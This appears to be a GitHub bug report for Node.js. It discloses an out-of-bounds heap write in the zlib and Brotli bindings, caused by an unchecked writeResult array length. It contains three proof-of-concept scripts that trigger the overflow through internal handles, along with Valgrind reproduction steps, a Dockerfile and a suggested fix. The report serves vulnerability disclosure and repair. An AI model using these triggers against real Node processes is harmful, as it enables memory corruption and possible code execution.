-
-
Notifications
You must be signed in to change notification settings - Fork 34.3k
Description
Version
No response
Platform
Subsystem
zlib
What steps will reproduce the bug?
As discussed in hackerone report because this is not part of nodejs threat model:
Summary: Out-of-bounds write in Node.js zlib and Brotli bindings due to missing validation of writeResult array length in initialization methods, leading to memory corruption and potential remote code execution.
Description: The ZlibContext::Init(), BrotliEncoderContext::Init(), and BrotliDecoderContext::Init() methods in Node.js accept a writeResult Uint32Array parameter without validating its length. The code assumes the array has at least 2 elements but accepts smaller arrays. The shared CompressionStream::UpdateWriteResult() method writes to indices [0] and [1] unconditionally, causing a heap buffer overflow when arrays of insufficient length are provided.
Steps To Reproduce:
- Create a PoC file (e.g., poc.js) with the following code for zlib (Deflate):
const zlib = require('zlib');
const trigger = new Uint32Array(1);
const d = zlib.createDeflate();
d._handle.init(15, 6, 8, 0, trigger, () => {}, undefined);
d._handle.writeSync(0, Buffer.from('x'), 0, 1, Buffer.alloc(32), 0, 32);
// Writes to trigger[1] - out of bounds- Create a PoC file for Brotli compression:
const zlib = require('zlib');
const trigger = new Uint32Array(1);
const params = new Uint32Array(10).fill(-1);
const b = zlib.createBrotliCompress();
b._handle.init(params, trigger, () => {});
b._handle.writeSync(0, Buffer.from('x'), 0, 1, Buffer.alloc(32), 0, 32);- Create a PoC file for Brotli decompression:
const zlib = require('zlib');
const trigger = new Uint32Array(1);
const params = new Uint32Array(10).fill(-1);
const b = zlib.createBrotliDecompress();
b._handle.init(params, trigger, () => {});
const compressed = zlib.brotliCompressSync(Buffer.from('test'));
b._handle.writeSync(0, compressed, 0, compressed.length, Buffer.alloc(32), 0, 32);- Run with Valgrind to confirm the out-of-bounds write:
valgrind node poc.js
valgrind node poc-brotli.js
valgrind node poc-brotli-dec.jsThe root cause is in src/node_zlib.cc where UpdateWriteResult() writes to indices without bounds checking:
Line 504 in 282d30e
| ctx_.GetAfterWriteOffsets(&write_result_[1], &write_result_[0]); |
// src/node_zlib.cc
void UpdateWriteResult() {
ctx_.GetAfterWriteOffsets(&write_result_[1], &write_result_[0]); // No bounds check
}Impact:
This vulnerability allows for:
- Memory corruption through a controlled 4-byte write past the end of heap allocation
- Potential remote code execution through heap corruption
- The vulnerability affects all three compression contexts: zlib, Brotli encoder, and Brotli decoder
Supporting Material/References:
- Valgrind output confirms the invalid write:
==1== Invalid write of size 4
==1== at ...: CompressionStream<ZlibContext>::Write<false>(...)
==1== Address ... is 0 bytes after a block of size 4 alloc'd
- Docker reproduction:
FROM node:latest
RUN apt-get update && apt-get install -y valgrind
WORKDIR /app
COPY poc.js poc-brotli.js poc-brotli-dec.js ./
CMD ["valgrind", "--error-exitcode=1", "node", "poc.js"]- Suggested fix: Add length validation in all
Init()methods to ensure thewriteResultarray has at least 2 elements.
How often does it reproduce? Is there a required condition?
See docker example
What is the expected behavior? Why is that the expected behavior?
Bounds check to prevent OOB write
What do you see instead?
Corrupted heap
Additional information
No response